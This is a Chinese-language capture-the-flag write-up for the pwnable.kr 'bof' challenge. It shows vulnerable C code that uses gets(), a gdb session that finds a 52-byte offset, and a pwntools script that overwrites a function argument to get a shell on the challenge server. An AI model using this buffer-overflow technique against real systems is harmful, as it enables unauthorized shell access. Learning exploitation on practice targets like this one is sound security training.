1. 程式人生 > >pwnable.kr --- bof題解

pwnable.kr --- bof題解

題目如下:

我們下載完題目中給的兩個檔案,然後開啟bof.c檔案,我們可以看到原始碼:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key)
{
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe)
	{
		system("/bin/sh");
	}
	else
	{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[])
{
	func(0xdeadbeef);
	return 0;
}

看了原始碼,我們很容易就發現,這道題它是比對函式呼叫傳入的值和0xcafebabe的大小,如果相等,我們的flag就出來了。但是,這個傳入的值確是已經被程式寫死了。這就是本道題的矛盾之處。

但是我們再往下看,會發現有一個函式gets,我想這個函式是很明顯的一個漏洞函數了,因為它讀入資料的時候,不檢查緩衝區的界限,很容易造成緩衝區溢位漏洞,所以我們一般用fgets函式來代替它。再聯絡一下題目中的 Nana told me that buffer overflow is one of the most common software vulnerability.,沒錯了,問題就出在這裡。

我們可以通過往gets函式中輸入足夠多的資料,使緩衝區溢位,用我們輸入的0xcafebabe覆蓋之前壓進棧的引數,就get 到 flag 啦~

所以現在我們的問題是:我們需要輸入多少的資料才能覆蓋到之前壓入棧中的引數呢?

根據原始碼,我們可以分析知道我們應該找到的是gets函式到if函式中做比較,這之間的偏移量是多少

我們用gdb來除錯一下:
輸入gdb ./bof

我們先輸入start將程式執行起來
然後輸入disassemble func來檢視一下被呼叫函式func反彙編程式碼

我們發現這樣一段反彙編程式碼0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
可知道我們的比較語句地址在0x56555654,於是我們在這裡打一個斷點
b *0x56555654
然後輸入r

執行程式,這裡我們用輸入垃圾值,來試探出偏移量,這裡我們知道A將在記憶體中顯示為\ x41,而且緩衝區長度為32,我們不如就輸入33個A,讓其溢位,然後通過檢查記憶體,來檢視偏移量

我們發現程式停在斷點處,此時我們輸入
x /40xw $esp (x:以十六進位制顯示 w:以4位元組為一個單位顯示)
來檢視從斷點處起的40位元組的記憶體值,由於esp是我們的程式流指標,其裡面儲存了程式在func棧中執行時的記憶體的變化

我們可以發現從第一個出現0x41的地方,到我們的0xdeadbeef距離是13個單位,一個單位是4位元組,也就是我們的偏移量為52個位元組。

於是,只要我們構造出52個位元組然後加上0xcafebabe,用它來覆蓋0xdeadbeef即可
由於題目中提醒我們最後 Running at : nc pwnable.kr 9000
所以我們來寫我們的exp

from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()

執行指令碼檔案,可以得到答案: